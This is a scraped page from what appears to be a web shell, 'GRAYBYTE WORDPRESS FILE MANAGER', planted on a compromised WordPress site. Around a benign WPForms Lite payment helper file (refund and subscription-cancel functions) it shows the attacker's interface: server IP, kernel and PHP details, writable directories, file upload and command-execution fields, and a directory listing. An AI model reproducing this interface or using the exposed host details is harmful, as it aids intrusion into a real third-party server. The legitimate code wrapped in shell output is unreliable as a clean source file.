GRAYBYTE WORDPRESS FILE MANAGER7529

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/chahida.co.in/wp-content/plugins/wpforms-lite/src/Db/Payments/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/chahida.co.in/wp-content/plugins/wpforms-lite/src/Db/Payments//UpdateHelpers.php
<?php

namespace WPForms\Db\Payments;

/**
 * Payment values update helpers class.
 *
 * @since 1.8.4
 */
class UpdateHelpers {

	/**
	 * Refund payment in database.
	 *
	 * @since 1.8.4
	 *
	 * @param Payment $payment_db      Payment DB object.
	 * @param int     $refunded_amount Refunded amount with cent separated.
	 * @param string  $log             Log message.
	 *
	 * @return bool
	 */
	public static function refund_payment( $payment_db, $refunded_amount, $log = '' ) {

		$status = $refunded_amount < $payment_db->total_amount ? 'partrefund' : 'refunded';

		if ( ! wpforms()->obj( 'payment' )->update( $payment_db->id, [ 'status' => $status ] ) ) {
			return false;
		}

		if (
			! wpforms()->obj( 'payment_meta' )->update_or_add(
				$payment_db->id,
				'refunded_amount',
				$refunded_amount
			)
		) {
			return false;
		}

		if ( $log ) {
			wpforms()->obj( 'payment_meta' )->add_log( $payment_db->id, $log );
		}

		return true;
	}

	/**
	 * Cancel subscription in database.
	 *
	 * @since 1.8.4
	 *
	 * @param int    $payment_id Payment ID.
	 * @param string $log        Log message.
	 *
	 * @return bool
	 */
	public static function cancel_subscription( $payment_id, $log = '' ) {

		if ( ! wpforms()->obj( 'payment' )->update( $payment_id, [ 'subscription_status' => 'cancelled' ] ) ) {
			return false;
		}

		if ( $log ) {
			wpforms()->obj( 'payment_meta' )->add_log( $payment_id, $log );
		}

		return true;
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:22
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:22
giriqfky / giriqfky
0644
Meta.php
11.492 KB
September 26 2024 15:36:36
giriqfky / giriqfky
0644
Payment.php
13.145 KB
September 26 2024 15:36:36
giriqfky / giriqfky
0644
Queries.php
11.593 KB
September 26 2024 15:36:36
giriqfky / giriqfky
0644
UpdateHelpers.php
1.405 KB
September 26 2024 15:36:36
giriqfky / giriqfky
0644
ValueValidator.php
4.35 KB
September 28 2023 15:44:58
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF